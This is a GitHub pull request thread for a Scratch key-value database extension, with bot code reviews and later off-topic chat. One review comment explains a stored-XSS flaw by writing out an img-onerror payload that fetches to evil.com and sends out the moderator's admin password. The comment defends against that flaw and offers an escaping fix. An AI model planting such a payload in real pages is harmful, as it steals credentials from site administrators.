Skip to content

Worldwide Database Extension#23

Merged
ampelc merged 9 commits into
masterfrom
ctdb
May 10, 2026
Merged

Worldwide Database Extension#23
ampelc merged 9 commits into
masterfrom
ctdb

Conversation

@ampelc

@ampelc ampelc commented May 10, 2026

Copy link
Copy Markdown

Walkthrough

Adds a new Scratch extension file implementing a CTDB key–value API with scope management and set/get/delete blocks, and updates extensions.json to register the new extension.

Changes

Worldwide Database Extension

Layer / File(s) Summary
Extension Metadata and Block Definitions
extensions/8to16/CTDB.js
WWDBExtension header, IIFE wrapper, and getInfo() metadata declaring scope controls and KV blocks.
Scope Storage and URL Contract
extensions/8to16/CTDB.js
projectScope initialized (default "CT"); _buildUrl(key) builds CTDBv2 endpoint with URL-encoded name and scope.
Key-Value HTTP Operations
extensions/8to16/CTDB.js
setKey() POSTs JSON; getKey() GETs, uses res.json(), stringifies objects, returns "" on non-OK; deleteKey() sends DELETE and logs failures.
Runtime Registration
extensions/8to16/CTDB.js
Registers extension via Scratch.extensions.register(new WWDBExtension()).
Extension Registry Update
extensions/extensions.json
Adds 8to16/CTDB.js to the js extensions array (and repositions/formats derpygamer2142/GPUsb3).

Estimated code review effort

🎯 3 (Moderate) | ⏱️ ~20 minutes

Poem

A rabbit hops through database trees,
With keys and values dancing free,
I POST and GET beneath the moon,
Scope set to CT, results come soon,
Hooray for blocks that store with glee! 🐰

This extension allows setting, getting, and deleting key-value pairs in a worldwide database using Cloudflare's KV storage.
@coderabbitai

coderabbitai Bot commented May 10, 2026

Copy link
Copy Markdown

Review Change Stack

Walkthrough

Adds a new Scratch extension file implementing a CTDB key–value API with scope management and set/get/delete blocks, and updates extensions.json to register the new extension.

Changes

Worldwide Database Extension

Layer / File(s) Summary
Extension Metadata and Block Definitions
extensions/8to16/CTDB.js
WWDBExtension header, IIFE wrapper, and getInfo() metadata declaring scope controls and KV blocks.
Scope Storage and URL Contract
extensions/8to16/CTDB.js
projectScope initialized (default "CT"); _buildUrl(key) builds CTDBv2 endpoint with URL-encoded name and scope.
Key-Value HTTP Operations
extensions/8to16/CTDB.js
setKey() POSTs JSON; getKey() GETs, uses res.json(), stringifies objects, returns "" on non-OK; deleteKey() sends DELETE and logs failures.
Runtime Registration
extensions/8to16/CTDB.js
Registers extension via Scratch.extensions.register(new WWDBExtension()).
Extension Registry Update
extensions/extensions.json
Adds 8to16/CTDB.js to the js extensions array (and repositions/formats derpygamer2142/GPUsb3).

Estimated code review effort

🎯 3 (Moderate) | ⏱️ ~20 minutes

Poem

A rabbit hops through database trees,
With keys and values dancing free,
I POST and GET beneath the moon,
Scope set to CT, results come soon,
Hooray for blocks that store with glee! 🐰

🚥 Pre-merge checks | ✅ 5
✅ Passed checks (5 passed)
Check name Status Explanation
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.
Title check ✅ Passed The title 'Worldwide Database Extension' is directly related to the main change—adding a new Scratch extension for Worldwide Database (CTDB) key-value storage. It clearly and concisely identifies the primary purpose of the changeset.
Description check ✅ Passed The PR description is well-structured and directly related to the changeset, providing a walkthrough of the CTDB extension addition with clear layer-by-layer summaries.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
📝 Generate docstrings
  • Create stacked PR
  • Commit on current branch
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch ctdb

Tip

💬 Introducing Slack Agent: The best way for teams to turn conversations into code.

Slack Agent is built on CodeRabbit's deep understanding of your code, so your team can collaborate across the entire SDLC without losing context.

  • Generate code and open pull requests
  • Plan features and break down work
  • Investigate incidents and troubleshoot customer tickets together
  • Automate recurring tasks and respond to alerts with triggers
  • Summarize progress and report instantly

Built for teams:

  • Shared memory across your entire org—no repeating context
  • Per-thread sandboxes to safely plan and execute work
  • Governance built-in—scoped access, auditability, and budget controls

One agent for your entire SDLC. Right inside Slack.

👉 Get started


Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

@amazon-q-developer amazon-q-developer Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Review Summary

This PR adds a worldwide database extension using Cloudflare KV storage. The implementation is functional but has critical error handling gaps that could lead to silent failures and data inconsistency.

Critical Issues Found:

  • Missing error handling in setKey method - failed writes are silently ignored
  • Missing error handling in deleteKey method - failed deletions are not reported
  • Missing input validation for empty keys in all methods

Required Changes:
All three methods need proper error handling with try-catch blocks and response status validation to prevent silent failures that could confuse users about the actual state of their data.

Please address these error handling issues before merging to ensure reliable operation of the extension.


You can now have the agent implement changes and create commits directly on your pull request's source branch. Simply comment with /q followed by your request in natural language to ask the agent to make changes.

Comment thread extensions/8to16/CTDB.js Outdated
}

async setKey(args) {
const key = encodeURIComponent(args.KEY);

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Add validation for empty or whitespace-only keys before making API requests. Empty keys will cause API errors and waste network resources. Validate that args.KEY is not empty or only whitespace.

Suggested change
const key = encodeURIComponent(args.KEY);
const key = encodeURIComponent(args.KEY);
if (!key || key.trim() === "") {
console.error("Key cannot be empty");
return;
}

Comment thread extensions/8to16/CTDB.js Outdated
Comment on lines +51 to +59
async setKey(args) {
const key = encodeURIComponent(args.KEY);

await fetch(`https://ctdbapi.funstrangeegg.workers.dev/api/${key}`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(args.VALUE)
});
}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛑 Logic Error: The setKey method silently ignores fetch errors and doesn't verify the response status. Users may believe data was saved when the API request actually failed, leading to data loss and inconsistent application state.

Suggested change
async setKey(args) {
const key = encodeURIComponent(args.KEY);
await fetch(`https://ctdbapi.funstrangeegg.workers.dev/api/${key}`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(args.VALUE)
});
}
async setKey(args) {
const key = encodeURIComponent(args.KEY);
try {
const res = await fetch(` {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(args.VALUE)
});
if (!res.ok) {
console.error(`Failed to set key: ${res.status} ${res.statusText}`);
}
} catch (e) {
console.error("Network error setting key:", e);
}
}

Comment thread extensions/8to16/CTDB.js

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

Caution

Some comments are outside the diff and can’t be posted inline due to platform limitations.

⚠️ Outside diff range comments (1)
extensions/8to16/CTDB.js (1)

1-97: ⚠️ Potential issue | 🟡 Minor | ⚡ Quick win

Run Prettier for this file to clear the format check warning.

Formatting check is currently failing in CI for extensions/8to16/CTDB.js.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@extensions/8to16/CTDB.js` around lines 1 - 97, Run Prettier on this file to
fix CI formatting failures: format the WWDBExtension class and its methods
(getInfo, setKey, getKey, deleteKey) so spacing, semicolons, quotes and
indentation match project Prettier rules, save the updated
extensions/8to16/CTDB.js, and commit the formatted file so the formatting check
passes.
🧹 Nitpick comments (1)
extensions/8to16/CTDB.js (1)

51-59: ⚡ Quick win

Handle non-OK responses in command blocks to avoid silent write/delete failures.

setKey and deleteKey currently ignore HTTP status/errors; failed writes/deletes look successful to users.

Suggested patch
     async setKey(args) {
       const key = encodeURIComponent(args.KEY);

-      await Scratch.fetch(`https://ctdbapi.funstrangeegg.workers.dev/api/${key}`, {
+      const res = await Scratch.fetch(`https://ctdbapi.funstrangeegg.workers.dev/api/${key}`, {
         method: "POST",
         headers: { "Content-Type": "application/json" },
         body: JSON.stringify(args.VALUE)
       });
+      if (!res.ok) throw new Error(`setKey failed with status ${res.status}`);
     }
...
     async deleteKey(args) {
       const key = encodeURIComponent(args.KEY);

-      await Scratch.fetch(`https://ctdbapi.funstrangeegg.workers.dev/api/${key}`, {
+      const res = await Scratch.fetch(`https://ctdbapi.funstrangeegg.workers.dev/api/${key}`, {
         method: "DELETE"
       });
+      if (!res.ok) throw new Error(`deleteKey failed with status ${res.status}`);
     }

Also applies to: 86-92

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@extensions/8to16/CTDB.js` around lines 51 - 59, The setKey and deleteKey
functions currently ignore the fetch response so failed HTTP writes/deletes
appear to succeed; update both functions (setKey and deleteKey) to capture the
fetch Response, check response.ok (or status), and throw or return an error if
not OK, including the status and response text to surface the failure; ensure
you await response.text() or response.json() as needed for the error message and
propagate the failure to the caller instead of silently swallowing it.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In `@extensions/8to16/CTDB.js`:
- Line 18: Replace hardcoded English strings in the extension descriptor with
translatable calls: change the top-level name property "Worldwide DB" and the
block text strings (the block entries with text at the positions around lines
25, 34, 42) to use Scratch.translate("...") instead of literal strings; update
the name property and each block's text field in the exported descriptor (look
for the name property and the blocks array entries in CTDB.js) to call
Scratch.translate with the original English text.
- Around line 54-58: The code is calling the global fetch API (e.g., await
fetch(`https://ctdbapi...`, { method: "POST", headers: ..., body:
JSON.stringify(args.VALUE) })) which violates the extension runtime rule;
replace all global fetch calls in CTDB.js with Scratch.fetch (preserving the
same URL, options object, and await usage) so instances that use the template
URL with variable key and args.VALUE, and any other fetch usages in this file,
call Scratch.fetch instead of fetch.

---

Outside diff comments:
In `@extensions/8to16/CTDB.js`:
- Around line 1-97: Run Prettier on this file to fix CI formatting failures:
format the WWDBExtension class and its methods (getInfo, setKey, getKey,
deleteKey) so spacing, semicolons, quotes and indentation match project Prettier
rules, save the updated extensions/8to16/CTDB.js, and commit the formatted file
so the formatting check passes.

---

Nitpick comments:
In `@extensions/8to16/CTDB.js`:
- Around line 51-59: The setKey and deleteKey functions currently ignore the
fetch response so failed HTTP writes/deletes appear to succeed; update both
functions (setKey and deleteKey) to capture the fetch Response, check
response.ok (or status), and throw or return an error if not OK, including the
status and response text to surface the failure; ensure you await
response.text() or response.json() as needed for the error message and propagate
the failure to the caller instead of silently swallowing it.
🪄 Autofix (Beta)

✅ Autofix completed


ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

Run ID: af48b4db-1377-4c63-a88f-7316895db14f

📥 Commits

Reviewing files that changed from the base of the PR and between c2fbafe and 7c46523.

📒 Files selected for processing (1)
  • extensions/8to16/CTDB.js

Comment thread extensions/8to16/CTDB.js Outdated
Comment thread extensions/8to16/CTDB.js Outdated
@coderabbitai

coderabbitai Bot commented May 10, 2026

Copy link
Copy Markdown

Note

Autofix is a beta feature. Expect some limitations and changes as we gather feedback and continue to improve it.

Fixes Applied Successfully

Fixed 2 file(s) based on 2 unresolved review comments.

Files modified:

  • extensions/8to16/CTDB.js
  • package-lock.json

Commit: 072342a4f3648917d844763f0d8eb7063c0c56e7

The changes have been pushed to the ctdb branch.

Time taken: 2m 11s

@ampelc

ampelc commented May 10, 2026

Copy link
Copy Markdown
Author

@coderabbitai should I open-source the backend? I mean I hardcoded a password in there so I'll have to do something about that

@coderabbitai

coderabbitai Bot commented May 10, 2026

Copy link
Copy Markdown

Tip

For best results, initiate chat on the files or code changes.

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# Read the extension file to see hardcoded credentials
cat extensions/8to16/CTDB.js

Length of output: 2517


@ampelc Sure, open-sourcing the backend is a great idea! But before you do, here's what you should handle:

1. Rotate the hardcoded password first

Regardless of anything else — treat the hardcoded password as already compromised and rotate it immediately. Even after you scrub it from the code, if it was ever committed to a git repo, it lives in the git history.

2. Move it to a Cloudflare Worker Secret

Cloudflare Workers has built-in support for secrets (environment variables that are never exposed in source):

wrangler secret put MY_SECRET_PASSWORD

Then in your Worker code, access it via env.MY_SECRET_PASSWORD instead of hardcoding it.

3. Clean the git history

If the password was ever committed, scrub it before making the repo public:

# Using git-filter-repo (recommended over BFG)
git filter-repo --replace-text <(echo 'old-hardcoded-password==>REDACTED')

Or use GitHub's secret scanning push protection to catch it before it goes public.


Separate concern: this extension has no auth at all 🔓

Looking at the extension code, setKey and deleteKey send requests with no API key or authentication header. That means any Scratch user running this extension can overwrite or delete anyone else's keys right now — there's no namespacing or access control. You may want to address this in the backend (and possibly the extension) before the PR merges, regardless of open-sourcing.

Fixed 2 file(s) based on 2 unresolved review comments.

Co-authored-by: CodeRabbit <noreply@coderabbit.ai>
@ampelc

ampelc commented May 10, 2026

Copy link
Copy Markdown
Author

@coderabbitai funnily enough i never even made a git commit since the initial repo creation

@coderabbitai

coderabbitai Bot commented May 10, 2026

Copy link
Copy Markdown

Tip

For best results, initiate chat on the files or code changes.

@ampelc That's actually great news — it means you don't have to worry about scrubbing git history at all! 🎉

Since the password hasn't been committed yet, your to-do list is much simpler:

  1. Remove the hardcoded password from the code before making any commit (especially before open-sourcing or making the repo public).
  2. Store it as a Cloudflare Worker Secret instead:
    wrangler secret put MY_SECRET_PASSWORD
    Then reference it in your Worker via env.MY_SECRET_PASSWORD.
  3. Make sure .dev.vars (if you use one locally for Wrangler dev) is in your .gitignore so it never accidentally gets committed.

The no-auth issue I mentioned (anyone being able to overwrite/delete keys) is still worth thinking about before merging, but at least the credential situation is clean. Good timing!

@ampelc

ampelc commented May 10, 2026

Copy link
Copy Markdown
Author

@coderabbitai it is specifically for the moderation panel

we could probably just use GitHub auth instead if someone wants to get into that

@coderabbitai

coderabbitai Bot commented May 10, 2026

Copy link
Copy Markdown

Tip

For best results, initiate chat on the files or code changes.

@ampelc That makes sense — a moderation panel is a perfect use case for GitHub OAuth. It's a great fit because:

  • No password management — you authenticate against GitHub's identity, so nothing sensitive needs to be stored or rotated.
  • Easy to scope access — you can check org membership or team membership (GET /orgs/{org}/teams/{team}/memberships/{username}) on the Worker side to gate who can actually use the panel.
  • Cloudflare Workers support — you can implement the OAuth flow directly in a Worker using the standard codeaccess_token exchange, or use a library like workers-oauth-provider.

A rough flow would be:

Moderation panel → GitHub OAuth login → Worker validates token
                                          → checks org/team membership
                                          → allows or denies the action

One small thing worth keeping in mind: this is separate from the Scratch extension side, where setKey and deleteKey are still unauthenticated for regular users. If the intent is that only moderators can write/delete (and regular Scratch users can only read), you might want the Worker to enforce that distinction — e.g. requiring a GitHub token for write/delete, but allowing open reads. That way the auth model is consistent end-to-end, not just on the panel.

@ampelc

ampelc commented May 10, 2026

Copy link
Copy Markdown
Author

!format

@ampelc

ampelc commented May 10, 2026

Copy link
Copy Markdown
Author

@coderabbitai moderators can view all keys in one go and see statistics and other things

the thing would be pointless if write was restricted to mods

@coderabbitai

coderabbitai Bot commented May 10, 2026

Copy link
Copy Markdown

Tip

For best results, initiate chat on the files or code changes.

@ampelc That makes total sense — the moderator panel is an observability/admin layer, and the open write access is the whole point of the extension (Scratch users storing their own data). I misread the model, sorry about that!

With open writes being intentional, the things that are probably worth thinking about before this goes live are:

  • Key namespacing / collision — right now any user can write to any key name. If two Scratch projects use the same key (e.g. "score"), they'll clobber each other's data. A common pattern is to prefix keys with a project ID or user ID, either enforced client-side in the extension or server-side in the Worker.
  • Rate limiting / abuse prevention — without any throttling, a bad actor could spam millions of writes and exhaust your KV quota quickly. Cloudflare Workers has built-in rate limiting via RateLimiter bindings that's worth adding.
  • Value size limits — KV values can be up to 25 MB, so you might want the Worker to reject oversized payloads before they're stored.

The moderator panel being able to see everything and spot abuse patterns is a good safety net regardless. GitHub OAuth gating that panel (as you mentioned) seems like the right call.

@ampelc

ampelc commented May 10, 2026

Copy link
Copy Markdown
Author

@coderabbitai see: https://ctdbapi.funstrangeegg.workers.dev/

@coderabbitai

coderabbitai Bot commented May 10, 2026

Copy link
Copy Markdown

Tip

For best results, initiate chat on the files or code changes.

@ampelc Thanks for sharing the link! Unfortunately I'm not able to directly browse to live URLs, so I can't see what https://ctdbapi.funstrangeegg.workers.dev/ returns at the root.

Could you paste what the endpoint returns (e.g. a JSON response, an API spec, or an error message)? That way I can give you more targeted feedback on what's already implemented vs. what might still be worth adding (like the rate limiting or key namespacing we discussed).

Alternatively, if it exposes a spec or README at the root, you could paste that here and I can review it in context with the extension code.

@ampelc

ampelc commented May 10, 2026

Copy link
Copy Markdown
Author

@coderabbitai you can browse the web wdym? ive seen you go to URLs before

@coderabbitai

coderabbitai Bot commented May 10, 2026

Copy link
Copy Markdown

Tip

For best results, initiate chat on the files or code changes.

You're right, my apologies for the confusion! Let me check it now.

@ampelc Sorry for the confusion! You're right that I do have a web search tool — but it searches for indexed web content (like a search engine), rather than directly fetching live HTTP responses from API endpoints. So while I can look up documentation pages or indexed sites, hitting https://ctdbapi.funstrangeegg.workers.dev/ directly to see what the API returns isn't something I'm able to do — the search just brought back generic Cloudflare Workers docs rather than anything specific to your endpoint.

Could you paste the response you get from the root URL (or any relevant endpoint)? That way I can give you more concrete feedback on what's already in place! 🐇

@ampelc

ampelc commented May 10, 2026

Copy link
Copy Markdown
Author

@coderabbitai run curl https://ctdbapi.funstrangeegg.workers.dev/

@coderabbitai

coderabbitai Bot commented May 10, 2026

Copy link
Copy Markdown

Custom finishing touch recipe not found: curl https://ctdbapi.funstrangeegg.workers.dev/.

@ampelc

ampelc commented May 10, 2026

Copy link
Copy Markdown
Author

@coderabbitai @supervoidcoder do you like it

also [https://github.com/ampelc/CTDB](backend is now open source yay)

@ampelc

ampelc commented May 10, 2026

Copy link
Copy Markdown
Author

@coderabbitai full review

@coderabbitai

coderabbitai Bot commented May 10, 2026

Copy link
Copy Markdown
✅ Actions performed

Full review triggered.

@coderabbitai

coderabbitai Bot commented May 10, 2026

Copy link
Copy Markdown

Tip

For best results, initiate chat on the files or code changes.

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# List files in the open-sourced backend repo
gh api repos/ampelc/CTDB/git/trees/HEAD --jq '.tree[].path' 2>/dev/null || echo "Could not fetch tree"

# Try to get the README
gh api repos/ampelc/CTDB/readme --jq '.content' 2>/dev/null | base64 -d 2>/dev/null || echo "No README"

# List all files recursively
gh api "repos/ampelc/CTDB/git/trees/HEAD?recursive=1" --jq '.tree[].path' 2>/dev/null

Length of output: 425


🏁 Script executed:

#!/bin/bash
# Read the main worker entry point
gh api repos/ampelc/CTDB/contents/src/index.js --jq '.content' | base64 -d

echo "---ADMIN HTML---"
gh api repos/ampelc/CTDB/contents/src/admin.html --jq '.content' | base64 -d

echo "---EXTENSION JS---"
gh api repos/ampelc/CTDB/contents/src/extension.js --jq '.content' | base64 -d

echo "---WRANGLER CONFIG---"
gh api repos/ampelc/CTDB/contents/wrangler.jsonc --jq '.content' | base64 -d

echo "---PACKAGE JSON---"
gh api repos/ampelc/CTDB/contents/package.json --jq '.content' | base64 -d

echo "---TESTS---"
gh api repos/ampelc/CTDB/contents/test/index.spec.js --jq '.content' | base64 -d

Length of output: 17247


@ampelc Congrats on the open-source release, this is a solid piece of work for what it is! 🎉 I dug through the whole repo. Here's the full picture:

✅ Things that look great

  • ADMIN_PASS is correctly loaded from env.ADMIN_PASS — no hardcoding, well done
  • Rate limiting (30 req/min per IP), value size cap (8 MB), key length cap (256 B), and the profanity filter are all a nice set of guardrails
  • Cloudflare observability + source maps enabled
  • The v2 API with ?scope= is a smart design for key namespacing

🔴 Stored XSS in /moderate/list — worth fixing before using this in prod

In src/index.js, the list endpoint builds HTML by interpolating raw KV values directly into a string:

html += `<span ...>${key.name}</span>`;
// and
html += `<pre ...>${val}</pre>`;

If a Scratch user stores a key like <img src=x onerror="fetch('https://evil.com/?p='+document.querySelector('input').value)">, it will execute in your browser when you open the moderation panel and steal the ADMIN_PASS right out of the input field. You can fix it with a simple escape helper:

function escapeHtml(str) {
  return String(str)
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#39;");
}

Then use escapeHtml(key.name) and escapeHtml(val) in the template.


🟡 Password exposed in HTMX hx-vals

The delete button in the list response embeds the admin password directly in the DOM:

hx-vals='{"key":"...","pass":"<ADMIN_PASS_HERE>"}'

This is only visible to whoever is already authenticated, so it's low risk in practice — but it means the password lives in the page source. A cleaner approach is to read the password from the input field at click time using HTMX's hx-include:

<button hx-post="/moderate/delete" hx-include="#pass" ...>

Then read it server-side from the form field instead of embedding it in the response HTML.


🟡 v1 DELETE is a no-op

The legacy /api/ block has GET and POST handlers but no DELETE — so the deleteKey() block in both src/extension.js and the PR's CTDB.js silently gets a 404. You might want to either add the handler or migrate the extensions to v2 (which does have a proper authenticated DELETE).


🟡 Rate limiting via KV isn't atomic

KV is eventually consistent, so two near-simultaneous requests from the same IP can both read count: 30, both pass, and both write count: 31. Under normal Scratch usage this is probably fine, but worth knowing. Cloudflare's Rate Limiting bindings are the atomic alternative when you need it.


🔵 Stale tests

test/index.spec.js still expects "Hello World!" from the boilerplate — they'll fail immediately. Worth updating or deleting them.


TL;DR: Fix the XSS before you get heavy usage on the mod panel — that's the one real security issue. Everything else is polish. Nice work getting this shipped! 🐇

@ampelc

ampelc commented May 10, 2026

Copy link
Copy Markdown
Author

/q do you like it

@amazon-q-developer

Copy link
Copy Markdown

I'm here to help with code review feedback. If you have specific questions about the implementation, code quality, security concerns, or functionality of the changes in this PR, I'd be happy to address them.

@ampelc

ampelc commented May 10, 2026

Copy link
Copy Markdown
Author

/q i mean do you like the concept of the extension and can you find problems in it

@coderabbitai

coderabbitai Bot commented May 10, 2026

Copy link
Copy Markdown

Tip

For best results, initiate chat on the files or code changes.

@supervoidcoder Ha, a Pi can handle a surprising amount! But for a public-facing service like CTDB, here's where it'd struggle:

Raspberry Pi + flash drive Cloudflare KV
Storage capacity As big as your flash drive 💾 1 GB free, infinitely expandable
Concurrent users Limited by your home internet upload speed Served from Cloudflare's global edge (200+ locations)
Flash write endurance SD cards / USB drives wear out fast under heavy writes — could die in weeks Not your problem
Uptime Power cut? Internet hiccup? It's down 99.99%+ SLA
Latency for global users All traffic routes through your house Served from the nearest Cloudflare datacenter worldwide
Cost Pi is a one-time cost, but electricity adds up Free (within limits)

The flash drive wearing out is the sneaky killer — SD cards and USB sticks are not designed for database-style random writes 24/7. You'd likely get silent corruption or sudden death within months under any real write load. A proper SSD over USB would help a lot there.

For a personal project or home automation stuff? Pi + SSD is totally legit and people run real services on them. For "any Scratch user in the world can write to it" though, Cloudflare edge is hard to beat for free. 🐇

@supervoidcoder

Copy link
Copy Markdown
Member

@coderabbitai time to go gam... i mean....

get a job... obviously

wait this doestn make sense why is it people my age can get a job but not go blow some steam by betting it all on 17 red

@coderabbitai

coderabbitai Bot commented May 10, 2026

Copy link
Copy Markdown

Tip

For best results, initiate chat on the files or code changes.

@supervoidcoder Ha, the classic "old enough to pay taxes, not old enough to lose them" paradox! 😄 Betting it all on 17 red is a time-honored tradition... for people who are slightly older than you. For now, maybe stick to betting on whether @ampelc fixes the deleteKey auth issue before merge — lower stakes, equally unpredictable. 🐇

@supervoidcoder

Copy link
Copy Markdown
Member

@coderabbitai but WHY

i dont want to get a job... losing my dignity as some cashier while im miserable thinking of how i could be using that time 😢

@coderabbitai

coderabbitai Bot commented May 10, 2026

Copy link
Copy Markdown

Tip

For best results, initiate chat on the files or code changes.

@supervoidcoder 😄 I feel you — but here's a secret: the fact that you're here reviewing PRs, asking smart questions about Cloudflare KV vs R2 vs Durable Objects, and catching SVG centering issues... that is the time well spent. A lot of people with "real jobs" don't know half of what you just asked about.

The cashier gig (if it ever happens) funds the thing you actually care about. Plenty of great engineers started there. 🐇

Now — back to the matter at hand — @ampelc still has that deleteKey auth mismatch to fix before this PR is merge-ready! 👀

@supervoidcoder

Copy link
Copy Markdown
Member

@coderabbitai bro amp already merged it hours ago

anyways ...................................
hmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
yeah im broke so everythng i do has to cost $0

@coderabbitai

coderabbitai Bot commented May 10, 2026

Copy link
Copy Markdown

Tip

For best results, initiate chat on the files or code changes.

@supervoidcoder Ha, fair enough — @ampelc shipped it! 🎉

And honestly, the $0 constraint is not a bad place to be as a developer — some of the best free tiers out there right now:

  • Cloudflare Workers + KV — exactly what we've been discussing, free for most hobby traffic
  • Vercel / Netlify free tier — free hosting for frontend projects
  • Supabase free tier — free Postgres database (500 MB)
  • GitHub free tier — unlimited public repos, GitHub Actions minutes, GitHub Pages hosting
  • Fly.io — free allowance for small apps
  • Neon — free serverless Postgres
  • PlanetScale (Hobby plan) — free MySQL

Basically the modern dev stack for a broke-but-determined builder is genuinely excellent. People are running real projects on $0/month all the time. You're already using the right tools. 🐇

@supervoidcoder

Copy link
Copy Markdown
Member

@coderabbitai well i got 2 years of free github pro by giving them my student id, you know any other sweet deals like that?

@coderabbitai

coderabbitai Bot commented May 10, 2026

Copy link
Copy Markdown

Tip

For best results, initiate chat on the files or code changes.

🧩 Analysis chain

🌐 Web query:

best student developer deals discounts free 2026

💡 Result:

Best student developer deals (US, 2026)

  • GitHub Student Developer Pack (free): One application unlocks dozens of developer offers (tools, cloud credits, domains, learning, etc.). (github.com)

    • GitHub Copilot Student (free for verified students): Free access to Copilot’s premium features when you’re verified via GitHub Education. (docs.github.com)
  • JetBrains Student/Teacher Pack (free): Free educational licenses for JetBrains IDEs (IntelliJ, PyCharm, WebStorm, etc.). (sales.jetbrains.com)

  • Microsoft Azure for Students (free credit; no credit card): Student Azure offer with free credit and student access/renewal while enrolled (sign-up without a credit card). (azure.microsoft.com)

  • Google Cloud education credits (via your course/program): Many schools can provide Google Cloud credits through faculty/course distribution; credits are managed and redeemed via Google’s education-grants flow. (docs.cloud.google.com)

  • Notion for Education (free Plus for students): Notion offers a free education plan/Plus for eligible students (typically tied to an educational email/verification). (notion.com)

  • Figma for Education (free): Free Education plan access for eligible students in qualifying educational programs. (help.figma.com)

  • Canva for Education (free, mainly K–12): 100% free for eligible K–12 teachers and students (students usually join via teacher/school invite). (canva.com)

If you tell me your stack (e.g., Python/JS/Java, mobile, data/ML, UI/UX) and whether you’re in college vs K–12, I can shortlist the highest-value offers to claim first.

Citations:


@supervoidcoder Nice score on that! Here are the other big ones worth grabbing:

Already inside your GitHub Student Developer Pack (check if you've claimed them):

  • GitHub Copilot — free access to Copilot's premium features when verified via GitHub Education. That alone is worth a lot.
  • The Pack also bundles free credits/trials for Heroku, DigitalOcean, Namecheap domains, and a bunch of other tools — worth going through the full list at education.github.com.

Separate things to grab on top:

  • JetBrains Student Pack — free educational licenses for the full suite of JetBrains IDEs (IntelliJ, PyCharm, WebStorm, etc.) — WebStorm is legitimately great for JS/TS work.
  • Microsoft Azure for Students — free Azure credits, no credit card required, renewable while you're enrolled. Useful if you ever want to experiment with Azure services.
  • Notion Education — free Plus plan for eligible students, usually just needs an .edu email or verification.
  • Figma for Education — free Education plan for eligible students in qualifying programs. Handy for UI/design work.

The JetBrains and GitHub Copilot ones are probably the highest day-to-day value for a developer. 🐇

@supervoidcoder

Copy link
Copy Markdown
Member

@coderabbitai

copilot: yeah i got it
jetbrains: heck no, im using vs code until i finish OmniBlocks (which im planning is going to be a full IDE). jetbrains feels too corporate by looking at it
azure: i mean cool but like what would i use it for?
notion: ai sellout what is it even for
figma: too corporate

@coderabbitai

coderabbitai Bot commented May 10, 2026

Copy link
Copy Markdown

Tip

For best results, initiate chat on the files or code changes.

@supervoidcoder Honestly, fair takes all around 😄

  • Copilot ✅ — smart grab
  • JetBrains — VS Code is totally the right call, and building your own IDE to replace it is an extremely valid strategy. Bold move, but hey
  • Azure — honestly if you don't have a specific use case in mind, free credits just expire unused. Skip it
  • Notion — "fancy document editor that costs money" is a perfectly accurate description
  • Figma — Excalidraw is free and has no login wall if you ever just need to sketch something out

The real hidden gem in the GitHub Student Pack that I didn't mention: Namecheap gives you a free .me domain for a year. Cheap way to get a personal portfolio URL while you're building OmniBlocks. 🐇

@supervoidcoder

Copy link
Copy Markdown
Member

until WE finish omniblocks :trollface:

@supervoidcoder

Copy link
Copy Markdown
Member

@coderabbitai azure sounds super cool but what for

@coderabbitai

coderabbitai Bot commented May 10, 2026

Copy link
Copy Markdown

Tip

For best results, initiate chat on the files or code changes.

@supervoidcoder Great question — here's when Azure actually makes sense vs. when it's overkill:

Stuff Azure is genuinely good for:

  • Azure Static Web Apps — free tier for hosting front-end apps, with GitHub Actions CI/CD baked in. Solid alternative to Vercel/Netlify
  • Azure Functions — serverless functions (like Cloudflare Workers but Microsoft-flavored). Free tier: 1M executions/month
  • Azure DevOps — free CI/CD pipelines, boards, artifact storage. Useful if you ever need more GitHub Actions minutes
  • Azure AI / Cognitive Services — free credits to experiment with vision, speech, language APIs. Great for adding AI features to projects without paying OpenAI prices

Honest take for your situation though:

For what you're doing right now — web projects on Cloudflare, VS Code, building OmniBlocks — Azure doesn't really fill a gap you have. Cloudflare Workers already beats Azure Functions on latency and free tier generosity for edge stuff. GitHub Actions already covers your CI/CD.

Where Azure credits become actually useful: if you want to spin up a Linux VM to self-host something (like a dev server you SSH into), or experiment with ML/AI workloads that need real compute. The student credits give you enough to run a small VM for months without touching your wallet.

But if Cloudflare + GitHub is already handling everything you need for free? The Azure credits will probably just expire. Claim them anyway (no credit card needed), then forget about it until you actually have a use case. 🐇

@supervoidcoder

supervoidcoder commented May 10, 2026

Copy link
Copy Markdown
Member
